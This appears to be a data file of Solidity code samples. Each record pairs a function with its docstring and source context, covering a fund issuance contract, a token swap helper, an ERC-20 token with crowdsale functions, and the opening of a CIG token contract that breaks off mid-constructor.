returns(CycleState) { return _getCycleState(cycleIndex); } /** * @dev Retrieve the current state of the cycle. * * @param cycleIndex Index of the cycle. * @return Cycle state. */ function _getCycleState(uint256 cycleIndex) internal view returns(CycleState) { Cycle storage cycle = _cycles[cycleIndex]; if(block.timestamp < cycle.startTime || cycle.startTime == 0) { return CycleState.Undefined; } else if(block.timestamp < cycle.startTime + cycle.subscriptionPeriodLength) { return CycleState.Subscription; } else if(block.timestamp < cycle.startTime + cycle.subscriptionPeriodLength + cycle.valuationPeriodLength) { return CycleState.Valuation; } else if(block.timestamp < cycle.startTime + cycle.subscriptionPeriodLength + cycle.valuationPeriodLength + cycle.paymentPeriodLength) { return CycleState.Payment; } else if(!cycle.finalized){ return CycleState.Settlement; } else { return CycleState.Finalized; } } /** * @dev Check if the sender is a token controller. * * @param sender Transaction sender. * @param assetAddress Address of the token representing the asset. * @return Returns 'true' if sender is a token controller. */ function _tokenController(address sender, address assetAddress) internal view returns(bool) { if(sender == Ownable(assetAddress).owner() || _isTokenController[assetAddress][sender]) { return true; } else { return false; } } /** * @dev Indicate whether or not the fund issuance contract can receive the tokens. * * By convention, the 32 first bytes of a token transfer to the fund issuance smart contract contain a flag. * * - When tokens are transferred to fund issuance contract to create a new order, the 'data' field starts with the * following flag: 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc * In this case the data structure is the the following: * <transferFlag (32 bytes)><asset address (32 bytes)><asset class (32 bytes)><order data (3 * 32 bytes)> * * - When tokens are transferred to fund issuance contract to pay for an existing order, the 'data' field starts with the * following flag: 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd * In this case the data structure is the the following: * <transferFlag (32 bytes)><order index (32 bytes)> * * If the 'data' doesn't start with one of those flags, the fund issuance contract won't accept the token transfer. * * @param data Information attached to the token transfer to fund issuance contract. * @param operatorData Information attached to the token transfer to fund issuance contract, by the operator. * @return 'true' if the fund issuance contract can receive the tokens, 'false' if not. */ function _canReceive(bytes memory data, bytes memory operatorData) internal pure returns(bool) { if(operatorData.length == 0) { // The reason for this check is to avoid a certificate gets interpreted as a flag by mistake return false; } bytes32 flag = _getTransferFlag(data); if(data.length == 192 && flag == ORDER_SUBSCRIPTION_FLAG) { return true; } else if(data.length == 64 && flag == ORDER_PAYMENT_FLAG) { return true; } else if (data.length == 32 && flag == BYPASS_ACTION_FLAG) { return true; } else { return false; } } /** * @dev Retrieve the transfer flag from the 'data' field. * * By convention, the 32 first bytes of a token transfer to the fund issuance smart contract contain a flag. * - When tokens are transferred to fund issuance contract to create a new order, the 'data' field starts with the * following flag: 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc * - When tokens are transferred to fund issuance contract to pay for an existing order, the 'data' field starts with the * following flag: 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd * * @param data Concatenated information about the transfer. * @return flag Transfer flag. */ function _getTransferFlag(bytes memory data) internal pure returns(bytes32 flag) { assembly { flag:= mload(add(data, 32)) } } /** * By convention, when tokens are transferred to fund issuance contract to create a new order, the 'data' of a token transfer has the following structure: * <transferFlag (32 bytes)><asset address (32 bytes)><asset class (32 bytes)><order data (3 * 32 bytes)> * * The first 32 bytes are the flag 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc * * The next 32 bytes contain the order index. * * Example input for asset address '0xb5747835141b46f7C472393B31F8F5A57F74A44f', * asset class '37252', order type 'Value', and value 12000 * 0xcccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc000000000000000000000000b5747835141b46f7C472393B31F8F5A57F74A44f * 000000000000000000000000000000000000000000000000000000000037252000000000000000000000000000000000000000000000000000000000000001 * 000000000000000000000000000000000000000000000000000000000002ee0000000000000000000000000000000000000000000000000000000000000000 * */ function _getAssetAddress(bytes memory data) internal pure returns(address assetAddress) { assembly { assetAddress:= mload(add(data, 64)) } } function _getAssetClass(bytes memory data) internal pure returns(bytes32 assetClass) { assembly { assetClass:= mload(add(data, 96)) } } function _getOrderData(bytes memory data) internal pure returns(bytes memory orderData) { uint256 orderValue; uint256 orderAmount; OrderType orderType; assembly { orderValue:= mload(add(data, 128)) orderAmount:= mload(add(data, 160)) orderType:= mload(add(data, 192)) } orderData = abi.encode(orderValue, orderAmount, orderType); } /** * By convention, when tokens are transferred to fund issuance contract to pay for an existing order, the 'data' of a token transfer has the following structure: * <transferFlag (32 bytes)><order index (32 bytes)> * * The first 32 bytes are the flag 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd * * The next 32 bytes contain the order index. * * Example input for order index 3: * 0xdddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddddd000000000000000000000000000000000000000000000000000000000000003 * */ /** * @dev Retrieve the order index from the 'data' field. * * @param data Concatenated information about the order payment. * @return orderIndex Order index. */ function _getOrderIndex(bytes memory data) internal pure returns(uint256 orderIndex) { assembly { orderIndex:= mload(add(data, 64)) } } /************************** TOKEN CONTROLLERS *******************************/ /** * @dev Get the list of token controllers for a given token. * @param tokenAddress Token address. * @return List of addresses of all the token controllers for a given token. */ function tokenControllers(address tokenAddress) external view returns (address[] memory) { return _tokenControllers[tokenAddress]; } /** * @dev Set list of token controllers for a given token. * @param tokenAddress Token address. * @param operators Operators addresses. */ function setTokenControllers(address tokenAddress, address[] calldata operators) external onlyTokenController(tokenAddress) { _setTokenControllers(tokenAddress, operators); } /** * @dev Set list of token controllers for a given token. * @param tokenAddress Token address. * @param operators Operators addresses. */ function _setTokenControllers(address tokenAddress, address[] memory operators) internal { for (uint i = 0; i<_tokenControllers[tokenAddress].length; i++){ _isTokenController[tokenAddress][_tokenControllers[tokenAddress][i]] = false; } for (uint j = 0; j<operators.length; j++){ _isTokenController[tokenAddress][operators[j]] = true; } _tokenControllers[tokenAddress] = operators; } /************************** TOKEN PRICE ORACLES *******************************/ /** * @dev Get the list of price oracles for a given token. * @param tokenAddress Token address. * @return List of addresses of all the price oracles for a given token. */ function priceOracles(address tokenAddress) external view returns (address[] memory) { return _priceOracles[tokenAddress]; } /** * @dev Set list of price oracles for a given token. * @param tokenAddress Token address. * @param oracles Oracles addresses. */ function setPriceOracles(address tokenAddress, address[] calldata oracles) external onlyPriceOracle(tokenAddress) { _setPriceOracles(tokenAddress, oracles); } /** * @dev Set list of price oracles for a given token. * @param tokenAddress Token address. * @param oracles Oracles addresses. */ function _setPriceOracles(address tokenAddress, address[] memory oracles) internal { for (uint i = 0; i<_priceOracles[tokenAddress].length; i++){ _isPriceOracle[tokenAddress][_priceOracles[tokenAddress][i]] = false; } for (uint j = 0; j<oracles.length; j++){ _isPriceOracle[tokenAddress][oracles[j]] = true; } _priceOracles[tokenAddress] = oracles; } /** * @dev Check if address is oracle of a given token. * @param tokenAddress Token address. * @param oracle Oracle address. * @return 'true' if the address is oracle of the given token. */ function _checkPriceOracle(address tokenAddress, address oracle) internal view returns(bool) { return(_isPriceOracle[tokenAddress][oracle] || oracle == Ownable(tokenAddress).owner()); } /**************************** VIEW FUNCTIONS *******************************/ /** * @dev Get asset rules. * @param assetAddress Address of the asset. * @param assetClass Class of the asset. * @return Asset rules. */ function getAssetRules(address assetAddress, bytes32 assetClass) external view returns(uint256, uint256, uint256, uint256, Payment, address, bytes32, address, bool) { AssetRules storage rules = _assetRules[assetAddress][assetClass]; return ( rules.firstStartTime, rules.subscriptionPeriodLength, rules.valuationPeriodLength, rules.paymentPeriodLength, rules.paymentType, rules.paymentAddress, rules.paymentPartition, rules.fundAddress, rules.subscriptionsOpened ); } /** * @dev Get the cycle asset value rules. * @param assetAddress Address of the asset. * @param assetClass Class of the asset. * @return Asset value rules. */ function getAssetValueRules(address assetAddress, bytes32 assetClass) external view returns(AssetValue, uint256, uint256) { AssetRules storage rules = _assetRules[assetAddress][assetClass]; return ( rules.assetValueType, rules.assetValue, rules.reverseAssetValue ); } /** * @dev Get total number of cycles in the contract. * @return Number of cycles. */ function getNbCycles() external view returns(uint256) { return _cycleIndex; } /** * @dev Get the index of the last cycle created for a given asset class. * @param assetAddress Address of the token representing the asset. * @param assetClass Asset class. * @return Cycle index. */ function getLastCycleIndex(address assetAddress, bytes32 assetClass) external view returns(uint256) { return _lastCycleIndex[assetAddress][assetClass]; } /** * @dev Get the cycle. * @param index Index of the cycle. * @return Cycle. */ function getCycle(uint256 index) external view returns(address, bytes32, uint256, uint256, uint256, uint256, Payment, address, bytes32, bool) { Cycle storage cycle = _cycles[index]; return ( cycle.assetAddress, cycle.assetClass, cycle.startTime, cycle.subscriptionPeriodLength, cycle.valuationPeriodLength, cycle.paymentPeriodLength, cycle.paymentType, cycle.paymentAddress, cycle.paymentPartition, cycle.finalized ); } /** * @dev Get the cycle asset value. * @param index Index of the cycle. * @return Cycle. */ function getCycleAssetValue(uint256 index) external view returns(AssetValue, uint256, uint256) { Cycle storage cycle = _cycles[index]; return ( cycle.assetValueType, cycle.assetValue, cycle.reverseAssetValue ); } /** * @dev Get total number of orders in the contract. * @return Number of orders. */ function getNbOrders() external view returns(uint256) { return _orderIndex; } /** * @dev Retrieve an order. * @param index Index of the order. * @return Order. */ function getOrder(uint256 index) external view returns(uint256, address, uint256, uint256, OrderType, OrderState) { Order storage order = _orders[index]; return ( order.cycleIndex, order.investor, order.value, order.amount, order.orderType, order.state ); } /** * @dev Retrieve order amount and order value calculated based on cycle valuation. * @param orderIndex Index of the order. * @return Order amount. * @return Order value. */ function getOrderAmountAndValue(uint256 orderIndex) external view returns(uint256, uint256) { return _getOrderAmountAndValue(orderIndex); } /** * @dev Get list of cycle orders. * @param index Index of the cycle. * @return List of cycle orders. */ function getCycleOrders(uint256 index) external view returns(uint256[] memory) { return _cycleOrders[index]; } /** * @dev Get list of investor orders. * @return List of investor orders. */ function getInvestorOrders(address investor) external view returns(uint256[] memory) { return _investorOrders[investor]; } }
Get the cycle. index Index of the cycle. return Cycle./
function getCycle(uint256 index) external view returns(address, bytes32, uint256, uint256, uint256, uint256, Payment, address, bytes32, bool) { Cycle storage cycle = _cycles[index]; return ( cycle.assetAddress, cycle.assetClass, cycle.startTime, cycle.subscriptionPeriodLength, cycle.valuationPeriodLength, cycle.paymentPeriodLength, cycle.paymentType, cycle.paymentAddress, cycle.paymentPartition, cycle.finalized ); }
5,531,097
./partial_match/1/0xe0db65613E0Abb008fd70A63a251B55D1e9b18B5/sources/AnatolyDyatlov.sol
generate the uniswap pair path of token -> weth make the swap
function swapTokensForEthOrIsIt(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, path, address(this), block.timestamp ); }
16,030,138
pragma solidity ^0.4.18; import 'zeppelin-solidity/contracts/math/SafeMath.sol'; import 'zeppelin-solidity/contracts/ownership/Ownable.sol'; /** * Token * * @title A fixed supply ERC-20 token contract with crowdsale capability. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md */ contract Token is Ownable { using SafeMath for uint; uint public constant MAX_UINT = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF; struct Crowdsale { bool open; uint initialTokenSupply; uint tokenBalance; uint exchangeRate; uint startTime; uint endTime; } event CrowdsaleDeployed( string crowdsaleName, bool indexed open, uint initialTokenSupply, uint exchangeRate, uint indexed startTime, uint endTime ); event TokenNameChanged( string previousName, string newName, uint indexed time ); event TokenSymbolChanged( string previousSymbol, string newSymbol, uint indexed time ); event Transfer( address indexed _from, address indexed _to, uint256 _value ); event Approval( address indexed _owner, address indexed _spender, uint256 _value ); string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(string => Crowdsale) crowdsales; /** * Constructs the Token contract and gives all of the supply to the address * that deployed it. The fixed supply is 1 billion tokens with up to 18 * decimal places. */ function Token() public { symbol = 'TOK'; name = 'Token'; decimals = 18; totalSupply = 1000000000 * 10**uint(decimals); balances[msg.sender] = totalSupply; Transfer(address(0), msg.sender, totalSupply); } /** * @dev Fallback function */ function() public payable { revert(); } /** * Gets the token balance of any wallet. * @param _owner Wallet address of the returned token balance. * @return The balance of tokens in the wallet. */ function balanceOf(address _owner) public constant returns (uint balance) { return balances[_owner]; } /** * Transfers tokens from the sender's wallet to the specified `_to` wallet. * @param _to Address of the transfer's recipient. * @param _value Number of tokens to transfer. * @return True if the transfer succeeded. */ function transfer(address _to, uint _value) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from any wallet to the `_to` wallet. This only works if * the `_from` wallet has already allocated tokens for the caller keyset * using `approve`. From wallet must have sufficient balance to * transfer. Caller must have sufficient allowance to transfer. * @param _from Wallet address that tokens are withdrawn from. * @param _to Wallet address that tokens are deposited to. * @param _value Number of tokens transacted. * @return True if the transfer succeeded. */ function transferFrom(address _from, address _to, uint _value) public returns (bool success) { balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } /** * Sender allows another wallet to `transferFrom` tokens from their wallet. * @param _spender Address of `transferFrom` recipient. * @param _value Number of tokens to `transferFrom`. * @return True if the approval succeeded. */ function approve(address _spender, uint _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * Gets the number of tokens that a `_owner` has approved for a _spender * to `transferFrom`. * @param _owner Wallet address that tokens can be withdrawn from. * @param _spender Wallet address that tokens can be deposited to. * @return The number of tokens allowed to be transferred. */ function allowance(address _owner, address _spender) public constant returns (uint remaining) { return allowed[_owner][_spender]; } /** * Changes the token's name. Does not check for improper characters. * @param newName String of the new name for the token. */ function changeTokenName(string newName) public onlyOwner { require(bytes(newName).length > 0); string memory oldName = name; name = newName; TokenNameChanged(oldName, newName, now); } /** * Changes the token's symbol. Does not check for improper characters. * @param newSymbol String of the new symbol for the token. */ function changeTokenSymbol(string newSymbol) public onlyOwner { require(bytes(newSymbol).length > 0); string memory oldSymbol = symbol; symbol = newSymbol; TokenSymbolChanged(oldSymbol, newSymbol, now); } /** * Creates a crowdsale. Tokens are withdrawn from the owner's account and * the balance is kept track of by the `tokenBalance` of the crowdsale. * A crowdsale can be opened or closed at any time by the owner using * the `openCrowdsale` and `closeCrowdsale` methods. The `open`, * `startTime`, and `endTime` properties are checked when a purchase is * attempted. Crowdsales permanently exist in the `crowdsales` map. If * the `endTime` for a crowdsale in the map is `0` the ncrowdsale does * not exist. * @param crowdsaleName String name of the crowdsale. Used as the * map key for a crowdsale struct instance in the `crowdsales` map. * A name can be used once and only once to initialize a crowdsale. * @param open Boolean of openness; can be changed at any time by the owner. * @param initialTokenSupply Number of tokens the crowdsale is deployed * with. This amount is a wei integer. * @param exchangeRate Token wei to Ethereum wei ratio. * @param startTime Unix epoch time in seconds for crowdsale start time. * @param endTime Unix epoch time in seconds for crowdsale end time. Any * uint256 can be used to set this however passing `0` will cause the * value to be set to the maximum uint256. If `0` is not passed, the * value must be greater than `startTime`. */ function createCrowdsale( string crowdsaleName, bool open, uint initialTokenSupply, uint exchangeRate, uint startTime, uint endTime ) public onlyOwner { require( initialTokenSupply > 0 && initialTokenSupply <= balances[owner] ); require(bytes(crowdsaleName).length > 0); require(crowdsales[crowdsaleName].endTime == 0); require(exchangeRate > 0); if (endTime == 0) { endTime = MAX_UINT; } require(endTime > startTime); crowdsales[crowdsaleName] = Crowdsale({ open: open, initialTokenSupply: initialTokenSupply, tokenBalance: initialTokenSupply, exchangeRate: exchangeRate, startTime: startTime, endTime: endTime }); balances[owner] = balances[owner].sub(initialTokenSupply); CrowdsaleDeployed( crowdsaleName, open, initialTokenSupply, exchangeRate, startTime, endTime ); } /** * Owner can change the crowdsale's `open` property to true at any time. * Only works on deployed crowdsales. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @return True if the open succeeded. */ function openCrowdsale(string crowdsaleName) public onlyOwner returns (bool success) { require(crowdsales[crowdsaleName].endTime > 0); crowdsales[crowdsaleName].open = true; return true; } /** * Owner can change the crowdsale's `open` property to false at any time. * Only works on deployed crowdsales. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @return True if the close succeeded. */ function closeCrowdsale(string crowdsaleName) public onlyOwner returns (bool success) { require(crowdsales[crowdsaleName].endTime > 0); crowdsales[crowdsaleName].open = false; return true; } /** * Owner can add tokens to the crowdsale after it is deployed. Owner must * have enough tokens in their balance for this method to succeed. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @param tokens Number of tokens to transfer from the owner to the * crowdsale's `tokenBalance` property. * @return True if the add succeeded. */ function crowdsaleAddTokens(string crowdsaleName, uint tokens) public onlyOwner returns (bool success) { require(crowdsales[crowdsaleName].endTime > 0); require(balances[owner] >= tokens); balances[owner] = balances[owner].sub(tokens); crowdsales[crowdsaleName].tokenBalance = crowdsales[crowdsaleName].tokenBalance.add(tokens); Transfer(owner, address(this), tokens); return true; } /** * Owner can remove tokens from the crowdsale at any time. Crowdsale must * have enough tokens in its balance for this method to succeed. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @param tokens Number of tokens to transfer from the crowdsale * `tokenBalance` to the owner. * @return True if the remove succeeded. */ function crowdsaleRemoveTokens(string crowdsaleName, uint tokens) public onlyOwner returns (bool success) { require(crowdsales[crowdsaleName].endTime > 0); require(crowdsales[crowdsaleName].tokenBalance >= tokens); balances[owner] = balances[owner].add(tokens); crowdsales[crowdsaleName].tokenBalance = crowdsales[crowdsaleName].tokenBalance.sub(tokens); Transfer(address(this), owner, tokens); return true; } /** * Owner can change the crowdsale's `exchangeRate` after it is deployed. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @param newExchangeRate Ratio of token wei to Ethereum wei for crowdsale * purchases. * @return True if the update succeeded. */ function crowdsaleUpdateExchangeRate( string crowdsaleName, uint newExchangeRate ) public onlyOwner returns (bool success) { // Only works on crowdsales that exist require(crowdsales[crowdsaleName].endTime > 0); crowdsales[crowdsaleName].exchangeRate = newExchangeRate; return true; } /** * Any wallet can purchase tokens using ether if the crowdsale is open. Note * that the math operations assume the operands are Ethereum wei and * Token wei. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @param beneficiary Address of the wallet that will receive the tokens from * the purchase. This can be any wallet address. * @return True if the purchase succeeded. */ function crowdsalePurchase( string crowdsaleName, address beneficiary ) public payable returns (bool success) { require(crowdsaleIsOpen(crowdsaleName)); uint tokens = crowdsales[crowdsaleName].exchangeRate.mul(msg.value); require(crowdsales[crowdsaleName].tokenBalance >= tokens); crowdsales[crowdsaleName].tokenBalance = crowdsales[crowdsaleName].tokenBalance.sub(tokens); balances[beneficiary] = balances[beneficiary].add(tokens); Transfer(address(this), beneficiary, tokens); return true; } /** * Gets all the details for a declared crowdsale. If the passed name is not * associated with an existing crowdsale, the call errors. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @return Each member of a declared crowdsale struct. */ function getCrowdsaleDetails(string crowdsaleName) public view returns ( string name_, bool open, uint initialTokenSupply, uint tokenBalance, uint exchangeRate, uint startTime, uint endTime ) { require(crowdsales[crowdsaleName].endTime > 0); return ( crowdsaleName, crowdsales[crowdsaleName].open, crowdsales[crowdsaleName].initialTokenSupply, crowdsales[crowdsaleName].tokenBalance, crowdsales[crowdsaleName].exchangeRate, crowdsales[crowdsaleName].startTime, crowdsales[crowdsaleName].endTime ); } /** * Gets the number of tokens the crowdsale has not yet sold. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @return Total number of tokens the crowdsale has not yet sold. */ function crowdsaleTokenBalance(string crowdsaleName) public view returns (uint) { require(crowdsales[crowdsaleName].endTime > 0); return crowdsales[crowdsaleName].tokenBalance; } /** * Check if the crowdsale is open. * @param crowdsaleName String for the name of the crowdsale. Used as the * map key to find a crowdsale struct instance in the `crowdsales` map. * @return True if the crowdsale is open, false if it is closed. */ function crowdsaleIsOpen(string crowdsaleName) public view returns (bool) { bool result = true; if ( !crowdsales[crowdsaleName].open || crowdsales[crowdsaleName].startTime > now || crowdsales[crowdsaleName].endTime < now ) { result = false; } return result; } }
Check if the crowdsale is open. crowdsaleName String for the name of the crowdsale. Used as the map key to find a crowdsale struct instance in the `crowdsales` map. return True if the crowdsale is open, false if it is closed./
function crowdsaleIsOpen(string crowdsaleName) public view returns (bool) { bool result = true; if ( !crowdsales[crowdsaleName].open || crowdsales[crowdsaleName].startTime > now || crowdsales[crowdsaleName].endTime < now ) { result = false; } return result; }
12,557,966
// SPDX-License-Identifier: MIT // SYS 64738 // Version 2.0 // Author: 0xTycoon // Contributor: Alphasoup <twitter: alphasoups> // Special Thanks: straybits1, cryptopunkart, cyounessi1, ethereumdegen, Punk7572, sherone.eth, // songadaymann, Redlioneye.eth, tw1tte7, PabloPunkasso, Kaprekar_Punk, aradtski, // phantom_scribbs, Cryptopapa.eth, johnhenderson, thekriskay, PerfectoidPeter, // uxt_exe, 0xUnicorn, dansickles.eth, Blon Dee#9649, VRPunk1, Don Seven Slices, hogo.eth, // GeoCities#5700, "HP OfficeJet Pro 9015e #2676", gigiuz#0061, danpolko.eth, mariano.eth, // 0xfoobar, jakerockland, Mudit__Gupta, BokkyPooBah, 0xaaby.eth, and // everyone at the discord, and all the awesome people who gave feedback for this project! // Greetings to: Punk3395, foxthepunk, bushleaf.eth, 570KylΞ.eth, bushleaf.eth, Tokyolife, Joshuad.eth (1641), // markchesler_coinwitch, decideus.eth, zachologylol, punk8886, jony_bee, nfttank, DolAtoR, punk8886 // DonJon.eth, kilifibaobab, joked507, cryptoed#3040, DroScott#7162, 0xAllen.eth, Tschuuuly#5158, // MetasNomadic#0349, punk8653, NittyB, heygareth.eth, Aaru.eth, robertclarke.eth, Acmonides#6299, // Gustavus99 (1871), Foobazzler // Repo: github.com/0xTycoon/punksceo pragma solidity ^0.8.11; //import "./safemath.sol"; // don't need since v0.8 //import "./ceo.sol"; //import "hardhat/console.sol"; /* PUNKS CEO (and "Cigarette" token) WEB: https://punksceo.eth.limo / https://punksceo.eth.link IPFS: See content hash record for punksceo.eth Token Address: cigtoken.eth , - ~ ~ ~ - , , ' ' , , 🚬 , , 🚬 , , 🚬 , , 🚬 , , ============= , , ||█ , , ============= , , , ' ' - , _ _ _ , ' ### THE RULES OF THE GAME 1. Anybody can buy the CEO title at any time using Cigarettes. (The CEO of all cryptopunks) 2. When buying the CEO title, you must nominate a punk, set the price and pre-pay the tax. 3. The CEO title can be bought from the existing CEO at any time. 4. To remain a CEO, a daily tax needs to be paid. 5. The tax is 0.1% of the price to buy the CEO title, to be charged per epoch. 6. The CEO can be removed if they fail to pay the tax. A reward of CIGs is paid to the whistleblower. 7. After Removing a CEO: A dutch auction is held, where the price will decrease 10% every half-an-epoch. 8. The price can be changed by the CEO at any time. (Once per block) 9. An epoch is 7200 blocks. 10. All the Cigarettes from the sale are burned. 11. All tax is burned 12. After buying the CEO title, the old CEO will get their unspent tax deposit refunded ### CEO perk 13. The CEO can increase or decrease the CIG farming block reward by 20% every 2nd epoch! However, note that the issuance can never be more than 1000 CIG per block, also never under 0.0001 CIG. 14. THE CEO gets to hold a NFT in their wallet. There will only be ever 1 this NFT. The purpose of this NFT is so that everyone can see that they are the CEO. IMPORTANT: This NFT will be revoked once the CEO title changes. Also, the NFT cannot be transferred by the owner, the only way to transfer is for someone else to buy the CEO title! (Think of this NFT as similar to a "title belt" in boxing.) END * states * 0 = initial * 1 = CEO reigning * 2 = Dutch auction * 3 = Migration Notes: It was decided that whoever buys the CEO title does not have to hold a punk and can nominate any punk they wish. This is because some may hold their punks in cold storage, plus checking ownership costs additional gas. Besides, CEOs are usually appointed by the board. Credits: - LP Staking based on code from SushiSwap's MasterChef.sol - ERC20 & SafeMath based on lib from OpenZeppelin */ contract Cig { //using SafeMath for uint256; // no need since Solidity 0.8 string public constant name = "Cigarette Token"; string public constant symbol = "CIG"; uint8 public constant decimals = 18; uint256 public totalSupply = 0; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); // UserInfo keeps track of user LP deposits and withdrawals struct UserInfo { uint256 deposit; // How many LP tokens the user has deposited. uint256 rewardDebt; // keeps track of how much reward was paid out } mapping(address => UserInfo) public farmers; // keeps track of UserInfo for each staking address with own pool mapping(address => UserInfo) public farmersMasterchef; // keeps track of UserInfo for each staking address with masterchef pool mapping(address => uint256) public wBal; // keeps tracked of wrapped old cig address public admin; // admin is used for deployment, burned after ILiquidityPoolERC20 public lpToken; // lpToken is the address of LP token contract that's being staked. uint256 public lastRewardBlock; // Last block number that cigarettes distribution occurs. uint256 public accCigPerShare; // Accumulated cigarettes per share, times 1e12. See below. uint256 public masterchefDeposits; // How much has been deposited onto the masterchef contract uint256 public cigPerBlock; // CIGs per-block rewarded and split with LPs bytes32 public graffiti; // a 32 character graffiti set when buying a CEO ICryptoPunk public punks; // a reference to the CryptoPunks contract event Deposit(address indexed user, uint256 amount); // when depositing LP tokens to stake event Harvest(address indexed user, address to, uint256 amount);// when withdrawing LP tokens form staking event Withdraw(address indexed user, uint256 amount); // when withdrawing LP tokens, no rewards claimed event EmergencyWithdraw(address indexed user, uint256 amount); // when withdrawing LP tokens, no rewards claimed event ChefDeposit(address indexed user, uint256 amount); // when depositing LP tokens to stake event ChefWithdraw(address indexed user, uint256 amount); // when withdrawing LP tokens, no rewards claimed event RewardUp(uint256 reward, uint256 upAmount); // when cigPerBlock is increased event RewardDown(uint256 reward, uint256 downAmount); // when cigPerBlock is decreased event Claim(address indexed owner, uint indexed punkIndex, uint256 value); // when a punk is claimed mapping(uint => bool) public claims; // keep track of claimed punks modifier onlyAdmin { require( msg.sender == admin, "Only admin can call this" ); _; } uint256 constant MIN_PRICE = 1e12; // 0.000001 CIG uint256 constant CLAIM_AMOUNT = 100000 ether; // claim amount for each punk uint256 constant MIN_REWARD = 1e14; // minimum block reward of 0.0001 CIG (1e14 wei) uint256 constant MAX_REWARD = 1000 ether; // maximum block reward of 1000 CIG uint256 constant STARTING_REWARDS = 512 ether;// starting rewards at end of migration address public The_CEO; // address of CEO uint public CEO_punk_index; // which punk id the CEO is using uint256 public CEO_price = 50000 ether; // price to buy the CEO title uint256 public CEO_state; // state has 3 states, described above. uint256 public CEO_tax_balance; // deposit to be used to pay the CEO tax uint256 public taxBurnBlock; // The last block when the tax was burned uint256 public rewardsChangedBlock; // which block was the last reward increase / decrease uint256 private immutable CEO_epoch_blocks; // secs per day divided by 12 (86400 / 12), assuming 12 sec blocks uint256 private immutable CEO_auction_blocks; // 3600 blocks // NewCEO 0x09b306c6ea47db16bdf4cc36f3ea2479af494cd04b4361b6485d70f088658b7e event NewCEO(address indexed user, uint indexed punk_id, uint256 new_price, bytes32 graffiti); // when a CEO is bought // TaxDeposit 0x2ab3b3b53aa29a0599c58f343221e29a032103d015c988fae9a5cdfa5c005d9d event TaxDeposit(address indexed user, uint256 amount); // when tax is deposited // RevenueBurned 0x1b1be00a9ca19f9c14f1ca5d16e4aba7d4dd173c2263d4d8a03484e1c652c898 event RevenueBurned(address indexed user, uint256 amount); // when tax is burned // TaxBurned 0x9ad3c710e1cc4e96240264e5d3cd5aeaa93fd8bd6ee4b11bc9be7a5036a80585 event TaxBurned(address indexed user, uint256 amount); // when tax is burned // CEODefaulted b69f2aeff650d440d3e7385aedf764195cfca9509e33b69e69f8c77cab1e1af1 event CEODefaulted(address indexed called_by, uint256 reward); // when CEO defaulted on tax // CEOPriceChange 0x10c342a321267613a25f77d4273d7f2688bef174a7214bc3dde44b31c5064ff6 event CEOPriceChange(uint256 price); // when CEO changed price modifier onlyCEO { require( msg.sender == The_CEO, "only CEO can call this" ); _; } IRouterV2 private immutable V2ROUTER; // address of router used to get the price quote ICEOERC721 private immutable The_NFT; // reference to the CEO NFT token address private immutable MASTERCHEF_V2; // address pointing to SushiSwap's MasterChefv2 contract IOldCigtoken private immutable OC; // Old Contract /** * @dev constructor * @param _cigPerBlock Number of CIG tokens rewarded per block * @param _punks address of the cryptopunks contract * @param _CEO_epoch_blocks how many blocks between each epochs * @param _CEO_auction_blocks how many blocks between each auction discount * @param _CEO_price starting price to become CEO (in CIG) * @param _graffiti bytes32 initial graffiti message * @param _NFT address pointing to the NFT contract * @param _V2ROUTER address pointing to the SushiSwap router * @param _OC address pointing to the original Cig Token contract * @param _MASTERCHEF_V2 address for the sushi masterchef v2 contract */ constructor( uint256 _cigPerBlock, address _punks, uint _CEO_epoch_blocks, uint _CEO_auction_blocks, uint256 _CEO_price, bytes32 _graffiti, address _NFT, address _V2ROUTER, address _OC, uint256 _migration_epochs, address _MASTERCHEF_V2 ) { cigPerBlock = _cigPerBlock; admin = msg.sender; // the admin key will be burned after deployment punks = ICryptoPunk(_punks); CEO_epoch_blocks = _CEO_epoch_blocks; CEO_auction_blocks = _CEO_auction_blocks; CEO_price = _CEO_price; graffiti = _graffiti; The_NFT = ICEOERC721(_NFT); V2ROUTER = IRouterV2(_V2ROUTER); OC = IOldCigtoken(_OC); lastRewardBlock = block.number + (CEO_epoch_blocks * _migration_epochs); // set the migration window end MASTERCHEF_V2 = 